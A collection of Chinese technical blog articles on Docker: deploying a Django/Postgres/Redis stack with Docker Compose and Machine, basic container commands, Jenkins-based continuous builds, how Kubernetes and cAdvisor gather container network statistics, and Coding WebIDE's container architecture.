├── production.yml 
└── web 
│   ├── Dockerfile 
│   ├── docker_django 
│   │   ├── __init__.py 
│   │   ├── apps 
│   │   │   ├── __init__.py 
│   │   │   └── todo 
│   │   │   ├── __init__.py 
│   │   │   ├── admin.py 
│   │   │   ├── models.py 
│   │   │   ├── templates 
│   │   │   │   ├── _base.html 
│   │   │   │   └── home.html 
│   │   │   ├── tests.py 
│   │   │   ├── urls.py 
│   │   │   └── views.py 
│   │   ├── settings.py 
│   │   ├── urls.py 
│   └── wsgi.py 
│   ├── manage.py 
│   ├── requirements.txt 
│   └── static 
│   │   └── main.css</code>



现在我们准备容器运行……


Docker Machine


开启 Docker Machine，只需运行：


$ docker-machine create -d virtualbox dev;
INFO[0000] Creating CA: /Users/michael/.docker/machine/certs/ca.pem
INFO[0000] Creating client certificate: /Users/michael/.docker/machine/certs/cert.pem
INFO[0001] Downloading boot2docker.iso to /Users/michael/.docker/machine/cache/boot2docker.iso...
INFO[0035] Creating SSH key...
INFO[0035] Creating VirtualBox VM...
INFO[0043] Starting VirtualBox VM...
INFO[0044] Waiting for VM to start...
INFO[0094] "dev" has been created and is now the active machine.
INFO[0094] To point your Docker client at it, run this in your shell: eval "$(docker-machine env dev)"




这个 create 命令设置一个新的 Machine「开发环境」。实际上，它是下载 Boot2Docker 并开始运行 VM。现在只要在开发环境下指定 Docker：


$ eval "$(docker-machine env dev)"



运行以下命令来查看当前正在运行的机器：


$ docker-machine ls 
NAME  ACTIVE  DRIVER  STATE  URL 
dev * virtualbox Running tcp://192.168.99.100:2376



接下来，我们会让 Django，Postgres 和 Redis 的容器运行起来。


Docker Compose


让我们看一看 docker-compose.yml 文件：


web: 
  restart: always 
  build: ./web 
  expose:
    - "8000" 
  links: 
    - postgres:postgres   
    - redis:redis 
  volumes: 
    - /usr/src/app/static
  env_file: .env
  command: /usr/local/bin/gunicorn docker_django.wsgi:application -w 2 -b :8000 

nginx:
  restart: always
  build: ./nginx/
  ports: 
    - "80:80" 
  volumes: 
    - /www/static 
  volumes_from: 
    - web
  links: 
    - web:web 

postgres: 
  restart: always
  image: postgres:latest 
  volumes_from: 
    - data
  ports: 
    - "5432:5432" 

redis: 
  restart: always
  image: redis:latest 
  ports: 
    - "6379:6379" 

data:   
  restart: always 
  image: postgres:latest 
  volumes: 
    - /var/lib/postgresql
  command: true



在这里，我们定义了五个服务： Web、Nginx、Postgres、Redis 和 Data。



	Web 服务通过 「Web」 目录下的 Dockerfile 来进行构建，这里也设置了 Python 环境设置，Django 应用默认8000端口。这个端口之后转发到主机环境的80端口上–例如，Docker Machine。Web 服务还在容器 Restore.env 文件中增加了环境变量。

	Nginx 服务用于反向代理,作用于 Django 或静态文件目录。

	Postgres 服务是从 Docker Hub 的官方 PostgreSQL镜像 安装，安装 Postgres 后运行在默认的服务器的5432端口。

	Redis 使用官方 Redis镜像 安装，默认 Redis 服务是运行在6379端口。

	最后，注意有一个单独的容器来存储数据库数据，即为 Data。这有助于确保即使 Postgres 容器完全摧毁数据仍然存在。



现在，运行容器，构建镜像，然后开始服务：


$ docker-compose build 
$ docker-compose up -d



这时可以有时间喝一杯咖啡或走走路，因为你第一次运行它将需要一段时间，随后就可以从 Docker 缓存中建立运行更快的了。


一旦服务运行，我们就需要创建数据库迁移：


$ docker-compose run web /usr/local/bin/python manage.py migrate



获得 Docker Machine 的相关 IP，  – docker-machine ip –，然后在您的浏览器中输入IP:





出现上图后刷新，您应该能看到页面更新。从本质上讲，我们使用 Redis INCR 来递增每个处理请求，查看 web/docker_django/apps/todo/views.py 代码以获得更多信息。


同样，这创造了五项服务，都在不同的容器中运行：


$ docker-compose ps
            Name                          Command               State           Ports
----------------------------------------------------------------------------------------------
dockerizingdjango_data_1       /docker-entrypoint.sh true       Up      5432/tcp
dockerizingdjango_nginx_1      /usr/sbin/nginx                  Up      0.0.0.0:80->80/tcp
dockerizingdjango_postgres_1   /docker-entrypoint.sh postgres   Up      0.0.0.0:5432->5432/tcp
dockerizingdjango_redis_1      /entrypoint.sh redis-server      Up      0.0.0.0:6379->6379/tcp
dockerizingdjango_web_1        /usr/local/bin/gunicorn do ...   Up      8000/tcp




要查看哪些环境变量可用于 Web 服务，运行：


$ docker-compose run web env



要查看日志，运行：


$ docker-compose logs



您也可以进入 Postgres Shell - - 因为我们已经通过 docker-compose.yml 文件设置在数据库中通过添加用户/角色，端口转发到主机环境中：


$ psql -h 192.168.99.100 -p 5432 -U postgres --password



准备部署？先停止运行 docker-compose stop，然后让我们的应用程序在云中运行！


部署


与我们在本地运行应用程序一样，我们现在可以 push 到与 Docker Machine 环境完全相同的云托管服务提供商。现在让我们部署到 Digital Ocean 中。


您注册 Digital Ocean 之后，产生个人访问令牌 「Personal Access Token」，然后运行以下命令：


$ docker-machine create \ 
-d digitalocean \ 
--digitalocean-access-token=ADD_YOUR_TOKEN_HERE \
Production 



这将需要几分钟时间来提供 droplet , 并设置一个新的 Docker Machine 产品环境：


INFO[0000] Creating SSH key... 
INFO[0001] Creating Digital Ocean droplet... 
INFO[0133] "production" has been created and is now the active machine. 
INFO[0133] To point your Docker client at it, run this in your shell: eval "$(docker-machine env production)"



现在我们有两台机器运行，一是在本地，一个在 Digital Ocean：


$ docker-machine ls
NAME         ACTIVE   DRIVER         STATE     URL
dev          *        virtualbox     Running   tcp://192.168.99.100:2376
production            digitalocean   Running   tcp://104.131.107.8:2376



设置 production 为激活机器并加载 Docker 环境到 shell：


$ docker-machine active production 
$ eval "$(docker-machine env production)"



最后，让我们在云上再次构建 Django 的应用程序。这时候我们就需要使用一个稍微不同的 Docker Compose 文件，不需要安装在容器里。为什么呢？因为容器本身非常适合本地开发，这样我们可以更新「Web」目录的本地代码，并且更改代码立刻对容器产生影响。在生产中，很明显没有这个必要。


$ docker-compose build 
$ docker-compose up -d -f production.yml 
$ docker-compose run web /usr/local/bin/python manage.py migrate



获取与 Digital Ocean 帐户相关联的 IP 地址，并在浏览器中查看它。如果一切顺利，你应该可以看到你的应用程序在运行。


原文地址：Django Development With Docker Compose and Machine


本文系 OneAPM 工程师编译整理。想阅读更多技术文章，请访问 OneAPM 官方博客。


 Docker学习之路（三）小试牛刀

作者：Aomine

来源： Docker学习之路（三）小试牛刀



                    
运行容器


使用run命令启动容器。


下面的命令输出一个 “Hello World”，之后终止容器：


$ sudo docker run ubuntu:14.04 /bin/echo 'Hello world'






下面的命令则启动一个 bash 终端，允许用户进行交互：


$ sudo docker run -i -t ubuntu /bin/bash






这句命令的解释：



	告诉Docker使用docker run命令。

	参数-i标志容器中SRDIN是开启的。-t标志告诉doncker为要创建的的容器分配一个伪tty终端。这样新创建的容器才能提高一个交互式shell。

	这里使用ubuntu镜像。ubuntu镜像是一个常备镜像，也成为基础（base）镜像。也可以使用其他镜像，如debian、centos、fedora。

	指定镜像时，Docker会检查本地是否存在ubuntu镜像。如果本地没有该镜像的话，就好链接官方维护的Docker Hub Registy，查看Docker Hub中是否有该镜像，有的话就下载下来。



现在进入到容器中，这是一个完整的Ubuntu系统。





在交互模式下，用户可以通过所创建的终端来输入命令，例如：


root@49aefbbb440a:/# pwd
root@49aefbbb440a:/# ls



容器的一些操作


查看/etc/hosts文件：


root@49aefbbb440a:/# cat /etc/hosts






查看网络配置：


root@49aefbbb440a:/# ip a






容器的核心为所执行的应用程序，所需要的资源都是应用程序运行所必需的。除此之外，并没有其它的资源。可以在伪终端中利用 ps 或 top 来查看进程信息:


root@49aefbbb440a:/# ps -aux






安装vim：


root@49aefbbb440a:/# apt-get update && apt-get install vim



容器重命名


要退出容器进行重命名


错误做法：


root@49aefbbb440a:/# sudo docker run --name ao_ct -i -t ubuntu /bin/bash
sudo: docker: command not found



正确做法：


root@49aefbbb440a:/# exit
exit
docker@boot2docker:~$ sudo docker run --name 名字 -i -t ubuntu /bin/bash






查看当前系统中容器列表


$ sudo docker ps -a






重启已经停止的容器


可以start + 容器名


$ sudo docker start ao_ct



或start + 容器ID


$ sudo docker start b1ec5fb7f499






列出本地镜像


使用docker images显示本地已有的镜像。


$ sudo docker images






在列出信息中，可以看到几个字段信息“



	来自于哪个仓库，比如 ubuntu

	镜像的标记，比如 14.04

	它的 ID 号（唯一）

	创建时间

	镜像大小 



其中镜像的 ID 唯一标识了镜像，注意到 ubuntu:14.04 和 ubuntu:trusty 具有相同的镜像 ID，说明它们实际上是同一镜像。


TAG 信息用来标记来自同一个仓库的不同镜像。例如 ubuntu 仓库中有多个镜像，通过 TAG 信息来区分发行版本，例如12.04、12.10、13.04、14.04 等。


下面的命令指定使用镜像 ubuntu:14.04 来启动一个容器。


$ sudo docker run -t -i ubuntu:14.04 /bin/bash






如果不指定具体的标记，则默认使用 latest 标记信息。


【本人的学习笔记，主要是对《我的第一本Docker书》、《Docker —— 从入门到实践》的学习记录，并结合其他各种资源的学习。我使用的是windows 7， docker 1.3.2。】


 Docker结合Jenkins的持续构建实践

作者：刘阳龙Herman

来源： Docker结合Jenkins的持续构建实践



                    
docker和Jenkins不是什么新东西了，两者结合也不是什么稀奇的事情，也已经有很多Jenkins和docker相结合的文章，此文仅为自己的一点心得实践，如有不对的地方，欢迎大家纠正。

先贴上大致的流程图，逐步说明：


代码-Git：

并没有什么好说明的，就是简单的使用了Git作为版本控制工具而已，通用使用规范不在细说。
此步的产出：
Git分支特定版本号

Git-自动构建、自动构建-代码包：

做法也很通用了，将project的Git钩子同Jenkins结合，达到特定分支有push时机触发自动构建，将代码包从Git拉取并打包为代码包。


此步产出：
打包好的代码包：project.tar.gz

代码包-Docker镜像

在此步中，我们为每个project提供特定的测试环境，并且在此环境中执行项目代码镜像打包操作。在此步中，需要提前准备几样东西：


	测试环境：我们这里为一台干净的服务器（不要再问好奢侈，有钱就是任性），部署docker环境；


	project的base镜像：对于一个成熟的项目，所依赖的环境是固定可知的，因此提前准备好其所依赖的base image是必要的。
   如，我们一个项目的base image的Dockerfile:




FROM centos:liuyanglong
MAINTAINER liuyanglong "liuyanglong@xxxx.com"
MAINTAINER version "online"

USER root
ADD php.ini /home/work/local/php/etc/
ADD php-fpm.conf /home/work/local/php/etc/

ONBUILD ADD project-code.tar.gz  /home/work/
ONBUILD ENTRYPOINT ["supervisord", "-c", "/etc/supervisord.conf", "-n"]

注意最下面的两行ONBUILD
而在每一次Jenkins的构建时，要做的仅仅是将代码包传入，并且执行docker build即可，此时build所使用的Dockerfile的内容只有一行：

From this_project_image:base

而执行build时只会根据base image中的两行ONBUILD执行两个命令：

ADD project-code.tar.gz  /home/work/
ENTRYPOINT ["supervisord", "-c", "/etc/supervisord.conf", "-n"]

注意：此步仅仅在测试服务器做了docker build操作，并没有执行docker pull！！

镜像打包完毕后，此步并没有结束！！

调用脚本，根据此构件号的版本docker image创建对应的容器，脚本的输出为其对应的访问方式，供QA同学测试使用。
这样，每个构建好的版本都有对应的测试环境，且互不冲突！
鄙人的脚本地址为：https://github.com/Liuyanglong/docker-tools/blob/master/create_docker

此步的产出：


	docker build成功的project image，如以构建号为image版本号，叫做： project_dev:530


	此版本代码的测试环境地址，如：172.30.40.2




生成线上镜像

到上一步为止，测试构建环境已经结束，当QA同学确定要上线时，执行Jenkins的Promotion操作，这时触发 此步，将对应build版本对应的docker镜像推送到 私有docker registry。
所执行的操作自然为 ：

docker tag project_dev:530  docker-registry.xxxxx.com/xxxxxxx/project_name:version
docker push docker-registry.xxxxx.com/xxxxxxx/project_name:version

此步产出：
push好的线上镜像

AB上线

此为最后一步，同样是执行promotion操作后最后所执行的步骤，调用我们的内部接口，对线上应用执行AB上线，具体可参见文章：http://segmentfault.com/a/1190000002978115#articleHeader6

总结

上述就是我们在生产环境中的使用Jenkins和docker所构建的持续集成&自动部署的逻辑架构。也欢迎各位大大拍砖指教。


 浅谈k8s+docker 资源监控

作者：fzu_huang

来源： 浅谈k8s+docker 资源监控



                    
写在前面

最近在研究docker集群（kubernetes）的监控，为了彻底弄清楚，也是看了一点源码。这里分享一下我学到的东西。

docker api: stats

首先是docker的api，stats的具体使用场景如：

http://$dockerip:2375/containers/$containerid/stats


可以获取docker机器上某一个容器的状态，该请求的response会持续的写响应报文回来（每秒一次）

http://$dockerip:2375/containers/$containerid/stats?stream=false


参数stream默认是true，设为false后，response只写一次。

docker中该api对应的操作，就相当于docker stats $CID 这条命令，它调用到了ContainerStats()方法（位于docker项目目录的/daemon/stats.go 第19行），函数中启动了一个收集器：

daemon.SubscribeToContainerStats(name)


收集器定时写数据到update变量中。
然后启动一个协程读数据，获取数据的途径包括：

update := v.(*execdriver.ResourceStats)


和

nwStats, err := daemon.getNetworkStats(name)


可以看到网络状态是另外读的，而cpu，内存状态在哪读呢？我们一步步跳转，看到在这里：
/daemon/execdriver/driver_linux.go 112行：

func Stats(containerDir string, containerMemoryLimit int64, machineMemory int64) (*ResourceStats, error)


在这个函数里我们看得到，其实所谓的获取容器状态，就是读文件而已。我们举一个已经在docker运行的容器来说：

 cat /run/docker/execdriver/native/$containerID/state.json


这里面记录了一个cgroup_paths字段，他的值是一个路径，通过cstats, err := mgr.GetStats()程序才真正拿到了监控数据，如cpu的状态信息，存储在一个如下的路径中：

cd /sys/fs/cgroup/cpu,cpuacct/system.slice/docker-9b479ceaf3bef1caee2c37dfdc982a968144700a2c42991b238b938788a8a91f.scope


又比如内存的大致信息存在：

cat /sys/fs/cgroup/memory/system.slice/docker-9b479ceaf3bef1caee2c37dfdc982a968144700a2c42991b238b938788a8a91f.scope/memory.stat


具体里面放了什么数据，大家就自己看咯。

还剩下一个数据，也是我们讨论的重点：网络IO。

我们回到/daemon/stats.go：
看看函数getNetworkStats(name string):
每个docker容器创建后都会又docker创建一个网卡，网卡名以veth开头，后面是一串随机生成的十六进制码。
我们只要找到该网卡，然后，像上文的cpu，内存状态获取的方法一样，去找文件就行了。
然而这个网卡名似乎是存在内存中，至少我没有看到docker将这个网卡名存到别的地方。
代码中：
nw, err := daemon.netController.NetworkByID(c.NetworkSettings.NetworkID)
可以看出获取了网卡（network），尔后有一个Statistics()方法，我们继续跟踪会发现，docker调用了一个组件包：
github.com/docker/libcontainer
其中有statistics方法，并执行了一个cat的命令（该组件包的/sandbox/interface_linux.go 第174行）：
data, err := exec.Command("cat", netStatsFile).Output()

是的，又是读文件。
这次读的文件在：/sys/class/net/目录下，
我们进入该目录可以看到有许多子目录，其中就包括了docker启动容器时生成的网卡。

个人猜测：docker在内存中保存了容器到网卡的映射关系。通过这个映射关系可以找到网卡的统计数据（数据由内核生成，记录在机器的文件中）
我们可以看到如下的数据：


将这些数据统一起来，就是docker stats 这条命令干的事。

kubernetes如何调用上述的监控功能

kubernetes的监控采用了cAdvisor组件。因为kubernetes中记录了容器的信息（但是没有记录容器-网卡的映射关系），所以运行在节点上的cAdvisor不需要通过docker stats去获取容器的cpu和内存使用数据。
而网络IO数据呢？

我们知道k8s部署运行一个容器是会先生成一个pause容器。
是的，网络IO都记录在pause容器中。这里大家可以在自己的k8s环境中验证。

所以只要我们获取某容器对应的pause容器的containerID，我们就可以用如上的方式去抓到网络IO。

因为cAdvisor并不是为k8s专门设计的，不会特地在获取网络IO时去遍历查找容器对应的pause容器。所以当前的cAdvisor没有办法获取容器的网络IO。

所以如果在使用k8s集群，想要加入网络IO监控功能的时候，可以从k8s自带的cAdvisor入手。

cAdvisor

上面讲到cAdvisor，那么cAdvisor是如何获取网络的IO的呢？
首先，在k8s（1.0.6版本）的/pkg/kubelet/cadvisor/cadvisor_linux.go中51行，New(port  int）方法，这是kubelet调用cAdvisor的入口。实例化一个cAdvisorClient，并执行他的Start()方法，我们可以进入cAdvisor项目中找到该方法（github.com/google/cadvisor/manager/manager.go 195行）。

我们看到有一句

err := docker.Register(self, self.fsInfo)


先mark之。继续看：

glog.Infof("Starting recovery of all containers")
err = self.detectSubcontainers("/")


这里程序程序检查所有在运行的容器，同内存中记录的容器作比较，有新的容器就新建一个相关的处理机制：一个Container的结构（有减少的，就删除），然后执行cont.Start() （github.com/google/cadvisor/manager/manager.go 766行）

持续追踪我们就可以知道每秒它收集一次监控信息，收集方法即

stats, statsErr := c.handler.GetStats()

（/cadvisor/manager/container.go 401行）
handler是一个接口。我们得知道当时是如何给他赋值的。这里不赘述了，我们直接找关键的方法：

func (self *dockerContainerHandler) GetStats() (*info.ContainerStats, error)

（cadvisor/container/docker/handler.go  第305行）

它又调用了：

func GetStats(cgroupManager cgroups.Manager, networkInterfaces []string) (*info.ContainerStats, error)

（cadvisor/container/libcontainer/helpers.go 第77行）

这里就是真正获取监控信息的地方，它引入了libcontainer包中的同名方法，

最终是导入了"github.com/docker/libcontainer/cgroups"这个第三方包中的方法。是不是很熟悉？对就是上文中提到的docker stats获取网络IO用到的包。我们到这个包里找到函数：
(/libcontainer/cgroups/fs/apply_raw.go 第148行)

func (m *Manager) GetStats() (*cgroups.Stats, error) {
    m.mu.Lock()
    defer m.mu.Unlock()
    stats := cgroups.NewStats()
    for name, path := range m.Paths {
        //m.Paths中包括了cpu，memory，network等字段，根据这些字段找到相应的目录
        sys, ok := subsystems[name]
        if !ok || !cgroups.PathExists(path) {
            continue
        }
        //读目录里的文件获取监控信息
        if err := sys.GetStats(path, stats); err != nil {
            return nil, err
        }
    }

    return stats, nil
}


我们可以看到libcontainer/cgroups/fs目录下有cpu.go,memory.go等文件，每一个文件中都有一个集成了GetStats()的结构，我们可以获取到任何数据。

我们再回到cadvisor项目中cadvisor/container/libcontainer/helpers.go 第77行，

往下看：

// TODO(rjnagal): Use networking stats directly from libcontainer.
    stats.Network.Interfaces = make([]info.InterfaceStats, len(networkInterfaces))
    for i := range networkInterfaces {
        interfaceStats, err := sysinfo.GetNetworkStats(networkInterfaces[i])
        if err != nil {
            return stats, err
        }
        stats.Network.Interfaces[i] = interfaceStats
    }


这里官方还用了别的手段再去找network的数据，虽然不知道是处于什么理由，也不管这里是去找哪个系统文件看状态，但是这样依然是拿不到数据的。因为根本没有找到容器对应的网卡。这里找网卡的方法在cadvisor/container/docker/handler.go  第311行：

var networkInterfaces []string
    if len(config.Networks) > 0 {
        // ContainerStats only reports stat for one network device.
        // TODO(vmarmol): Handle multiple physical network devices.
        for _, n := range config.Networks {
            // Take the first non-loopback.
            if n.Type != "loopback" {
                networkInterfaces = []string{n.HostInterfaceName}
                break
            }
        }
    }
    stats, err := containerLibcontainer.GetStats(self.cgroupManager, networkInterfaces)


很显然这里是要改进的（在k8s的环境下）。

应用

说了这么多，其实给大家在实现k8s容器网络IO监控这个需求时提供一点想法：
1.从cadvisor入手，找到对应pause容器的containerID，那么就可以用libcontainer包去获取到数据（也即用docker stats的方式）
2.从docker入手，创建容器时记录网卡信心，能否提供一个接口，根据容器名找到对应网卡名，那么cadvisor只要通过这个docker API得到网卡名，就可以自己读文件获取网络IO。
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Coding WebIDE 做个国内首个基于 Docker 技术的云端开发平台于4月1日正式上线。本文主要和大家分享和探讨 Docker 在 Web IDE 中运用的一些经验。


随着云计算技术的日新月异，云端的代码仓库，分工协作，演示运行已经被人们广为接受。云端开发的出现也正是顺应了这一趋势。Docker 作为一个轻量级的隔离环境，无疑是云端开发解决资源和效率问题的秘药良方。


记得4月份的杭州 Docker Meetup 有一与会者提问，“作为一个云主机的租户，向主机商购买的计算资源，其获得的配额不是真实值而只是上限，觉得不值。”这个问题似乎揭露了商家的生意经，但是本人却有不同的看法。正是因为共享技术的发展，才让云计算资源变得廉洁而被广为接受，Docker 最大的价值也在这里。


从技术特性上看，VM 和 Docker 有些重合点。但是Virtual Machines 是基于 Hypervisor 技术的，而 Docker 是基于Container 技术的。Hypervisor 要比 Container 更底层，不是同一层面的竞争关系，真实的场景多是先 Hypervisor 再 Container，通俗的说法就是在 VM 里跑Container。


Hypervisor 技术让多个操作系统共享一个CPU硬件，这些操作系统独立运行，并不知道彼此的存在，仿佛独占了所有的硬件资源。


Container 技术让多个用户空间共享一个操作系统，这些用户空间彼此隔绝，仿佛独占整个操作系统。


我们都知道，文件是对 I/O 设备的抽象表示，虚拟存储器是对主存和磁盘 I/O 设备的抽象表示，进程则是对处理器、主存和 I/O 设备的抽象表示。相比之下，虚拟化将操作系统从硬件中抽象出来，容器技术将应用从操作系统抽象出来。


一个正在执行的进程，由于虚拟内存技术，就其视角来看，仿佛拥有了整个操作系统的计算资源。但是 Container 的抽象和进程抽象不是在一个层面的。简单说，一台物理设备可以借助于 Hypervisor 技术，运行多个 VM；而个操作系统可以借助 Container 技术，运行多个 Container；而 Container 里可以有多个进程。


上面简单的介绍了一些 Docker 技术的背景，言归正传。


为什么选用 Docker 而不是更成熟的 VM


实现 WebIDE 首先解决的就是环境隔离，多个用户之间不会相互干扰。物理机是相互隔离的，但是为每一个用户分配一台真实的物理机，显然是不合现实的。


VM 可以提供和物理机一样的隔离效果，由于 VM 共享硬件，所以更省资源。一个可行的方案是借助 IaaS 平台商提供的 OpenAPI 来操作 VM。这样对物理主机和宿主操作系统的维护工作可以完全委托给IaaS平台商。


相比 Docker Container，VM 有一个很大的技术优势是支持休眠。操作系统在系统级实现了休眠，这样用户的工作状态，内存中的数据可以完整的持久化。作为一个常年不关机的开发者，个人觉得这个功能非常实用。可惜Docker 只提供了睡眠（类似于进程级别的挂起），而做不到休眠。随着CRIU技术的发展，相信 Docker 很快会支持的。


另外 VM 在不同宿主机之间的迁移问题，经过多年社区的积累越来越成熟。如果选择向 IaaS 平台商购买 VM 服务，这部分工作也不用关心。Docker Container 数据的迁移，面临着自制。目前Docker 官方提供迁移Container（非image）的命令，只能迁移文件，无法保留状态（比如外部mount的目录）。


考虑到架构的微服务化，如文件服务，Git 服务，Terminal 服务，Runtime 服务。有些服务是单例的，另一些则会随着用户会话状态而动态地创建和销毁。当应用实例很多的时候，虚拟化技术的 Overhead 是需要考虑的因素。为了某个服务而启动整个操作系统有些负担不起。除了过度的内存消耗，启动耗时也存在差异，Container 只是用户空间的一个或者一组进程，所以启动耗时基本是毫秒级别，而 VM 至少是秒级，有的甚至是分钟级（休眠还原的时候）。


做比较的时候总是各有优劣，但最终打动我们的除了 Docker 的轻量，还有其生机勃勃。我们相信备受社区关注的技术，许多顾虑的问题终究会有解决方案的。


基于 Container 的 Web Terminal


一个完整的 IDE 需要具备很多功能，文件管理，版本管理，编辑器（语法高亮，自动补全），编译器，执行环境等等。Rome was not built in a day。初次上线的最小功能集合里，我们认为 Web IDE 区别于 Web Editor 的一个功能亮点就是 Web Terminal。


Web Terminal 和 SSH 的工作原理类似，通过架设在 TCP 之上的应用层协议实现对主机的远程控制。相信大多数开发者都有 SSH 的使用经验，理解其工作原理的仅占少数。开始研究之初，我们也和大多数人一样搞不清楚terminal, tty, pty, shell, bash 之间的区别，所以先来理理概念。


什么是 Terminal？


从用户的角度来看，Terminal 是键盘和显示器的组合，也称为TTY(TeleTYpewriter,电传打字机的缩写)。键盘输入字符，显示器显示字符。从进程的角度来看，终端是字符设备，可以通过 read,write,ioctrl 等系统调用来读写和控制该设备。


TTY 早已进入了博物馆，桌面系统上字符界面基本被 GUI 界面替代。取而代之是一个称之为 Terminal Emulator（终端模拟器）的窗口程序，该程序显示的字符界面就是曾经物理显示器里的完整内容。


Terminal 作为真实的物理设备已经不复存在了，但是为了和面向终端的程序（比如 Bash）进行通信，于是就了发明了 pty（Pseudoterminal，伪终端）。pty 是一对 master-slave 设备，master 设备表现得像一个文件，slave 设备表现得像一个终端设备，当 Terminal Emulator 作为一个非面向终端的程序不直接与 pty slave 通讯，而是通过文件读写流与 pty master 通讯，pty master 再将字符输入经过线路规程的转换传送给 slave ，slave 进一步传递给 bash。


Bash 一个命令行的解释器，通常也是进程会话的主进程，其职责是解释执行终端设备（或者伪终端的 slave 设备）传递过来的字符串和控制字符，执行命令。


Web Terminal 的工作原理


理解了上面背景知识之后，再看 SSH 的原理图。





SSH 是一个典型的 server-client 模式架构，用户通过终端将字符流传递给SSH client。SSH client 和 SSH server 之间通过 TCP/IP 协议进行通讯。远端的 server 创建一对 pty，并且 fork+exec 一个 bash 进程，server 进程通过 pty 对与 bash 进行交互。


仿照 SSH 的工作原理，我们在 HTTP 协议之上设计了 Web Terminal，见下图





真实实现中，socket.io 是应用层的通讯协议。Terminal Emulator 是一个纯JS的实现，nodejs 后端使用 pty.js 模块来创建 pty 对。


当解决了 Web Terminal 的整体架构以后，嵌入 Docker Container 已是水到渠成。





僵尸进程问题


我们知道 Docker 由于缺少 init 0 而导致僵尸进程无法回收的问题迄今存在。Terminal 作为控制终端，会在使用过程中执行若干命令，这些命令对应进程如果与其父进程脱离父子关系，那僵尸进程问题就来了。


Docker 官方推荐的一个 Container 只跑一个进程。如果 Container 与进程同生共死，僵尸进程的问题基本不会遇到。但是 Web Terminal 所在 Container 里启动了bash，而 bash 可以随意执行命令启动进程，僵尸进程问题很难避免。好在社区提供了更好的解决方案：phusion/baseimage。在Dockerfile里将的 FROM ubuntu改为FROM phusion/baseimage,再按照文档说明做些调整基本就好了。


Container 作为构建和管理工具


通常，我们都是把 App 部署到 Docker 里去。大致步骤就是编写 Dockerfile ，再构建成 image，然后借助 private registry 在分布式的集群中分发。由于开发环境、测试环境和生产环境存在差异，往往构建交付物涉及到大量参数和环境变量的设定，过程非常繁琐，一般都会脚本化。所以IDE项目基本都是 Dockerfile 旁边放置了一个 Gemfile 和 Rakefile。通过 Ruby Rake 来驱动整个构建过程。


作为脚本语言与 Shell 相比，Ruby 的好处是



	隔绝了 Darwin，Linux 平台之间某些命令的细微差异；

	对于 Shell 擅长的部分，可以通过'`'符号方便的嵌入调用；

	具备完备正则等字符串处理功能；

	方便调用 Docker api 的

	可以集成 Capistrano 等分布式管理工具



但 Ruby 不像 Shell 那样信手拈来，需要进行适当的配置，比如，RVM 安装指定版本，修改 gem source 之类的。


从前配置这些基础环境，都是记录成 Markdown 文档，一堆 apt-get，sed 指令。但是引入 Docker 以后，有更好的选择。


我们的方式如下：


编写一个配置构建环境的 Dockerfile，构建成 image。


docker build --rm -t="ide-docker-registry.coding.local/ide-builder:0.0.5" .



push 到 registry 里。


docker push ide-docker-registry.coding.local/ide-builder



在构建服务器创建构建所需的builder,通过mount外部目录的方式，构建环境和外部环境交互文件。


docker run --name coding_ide_builder -d -t -v $CODING_IDE_HOME:/data/coding-ide-home  --net=host --restart=always ide-docker-registry.coding.local/ide-builder



进入构建环境执行命令。


docker exec -i -t coding_ide_builder bash



或者直接构建。


docker exec -i -t coding_ide_builder rake



Container 环境的资源限制问题


资源限制主要针对CPU、内存、磁盘和网络带宽等共享资源的限制。一方面，我们提倡共享，事实上不是所有的用户都需要长时间的占满所需的资源配额，不需要的时候可以释放出来分享给其他用户，因为共享才会更便宜。另一方面，也需要对可共享资源设定一个最大的限制配额，以防止某些用户过度占用而影响其他用户的使用体验。


CPU 限制


Docker 提供了两个参数来控制 cpu 的分配策略，--cpuset 和 --cpu-shares 。


--cpuset="0" [...] 将Container限定于某几个CPU核心上。针对这一特性，我们制定的策略是将重要的 Container 服务分配在独立的核心上，以保证服务的质量。


--cpu-shares 可以调节Container获得的时间片。我们通过这个配置来调节 Web Terminal 所创建进程对CPU的占用率。


内存限制


Web Terminal 里用户的自由度是很大的，对内存限制可以减少恶意破坏。Docker 配置内存限制相对简单。另外，我们禁用了swap分区，以减少对磁盘的压力。


磁盘限制


由于用户可以完全自由的访问磁盘，我们最希望 Container 磁盘镜像文件具备 thin provisioning 特性，不需要预分配所有空间也可以限定其大小。


对于 Container 的磁盘限制分为两部分，对最上层可写 layer 的限制和对被 mount 的可写目录的限制。


限制可写layer


Docker Daemon 提供了四种 storage-driver: aufs, devicemapper, btrfs, overlay。aufs 在其被支持的 linux 发行版上，是默认的 storage-driver。否则 Docker 会启用 devicemapper。aufs 最早被 Docker 支持，而且支持共享二级制文件和动态库文件所占用的内存，btrfs 和 overlay 不支持此特性，但是比aufs速度更快。devicemapper 的特点是支持 thin provisioning 和 copy on write。


限制 layer 的大小，devicemapper 是目前唯一的选择。启动 devicemapper 后，Docker 会为所有的 Container 创建一个共享存储池，其实质上是一个大文件，另外也会限定每个 Container 的大小。这两个数字的制定需要慎重，因为考虑到数据迁移，修改很不容易。


限制被 mount 的可写目录


Docker run 的时候 mount 进 Container 的可写目录是不受 devicemapper 的限制，所以需要额外处理。WebIDE 场景中 workspace 目录是被多个 Container 实例中共享读写的，作为用户工作目录，需要设定一个最大的空间限制。


谈到 linux 磁盘空间限制，最先想到 quota。quota 常用于ftp服务，限定用户最大可用空间。但 quota 有一个技术限制，仅仅适用于整个文件系统而无法针对单个目录。所以 quota 方案在共享目录的场景不可行。


linux 支持将一个磁盘镜像文件 mount 成目录，磁盘镜像文件可以限定大小。当镜像文件撑满的时候，目录就不可写了。这是我们目前找到最靠谱的方案。


限制网络带宽


Docker 没有直接提供限制网络带宽的命令行参数，但借助 Docker 的底层技术 cgroup 可以实现。创建一个 Network classifier group，对 cgroup 进行带宽限制的设定，将 Container 都指定到该组里去。Traffic Controller(tc) 和 Netfilter(iptables) 都支持针对 cgroup 指定规则。


关于 Dockerize 的程度与思考


base 在 Docker 之上，更容易实现架构的微服务化。借助于 Docker 的 link 特性和 fig 工具，Container 可以像乐高积木一样把所有的组件都组合起来。Nginx，Jetty，MySQL，Redis 等一系列服务可以封装到独立的Container 里去。


全面 Dockerize 的最大好处是整个体系都是一致的，所有的组件都是Container。WebIDE 在架构初期，考虑全面 Dockerize 的方案，比如把 MySQL 分成两个 Container ，一个存放安装文件，另一个存放数据文件。应用服务器自不必说也在 Container 里。但是当考虑 Nginx 是否也要放进 Container 里，大家想法有些分歧，Container 的好处在 Nginx 上是否明显值得探讨。也正因为存在不同的声音，我们放弃了全面 Dockerize。个人的觉得已有的经验和脚本不应该放弃，节省出更多的精力来做更重要和紧迫的事情。


参考阅读



	Hypervisor - Wikipedia

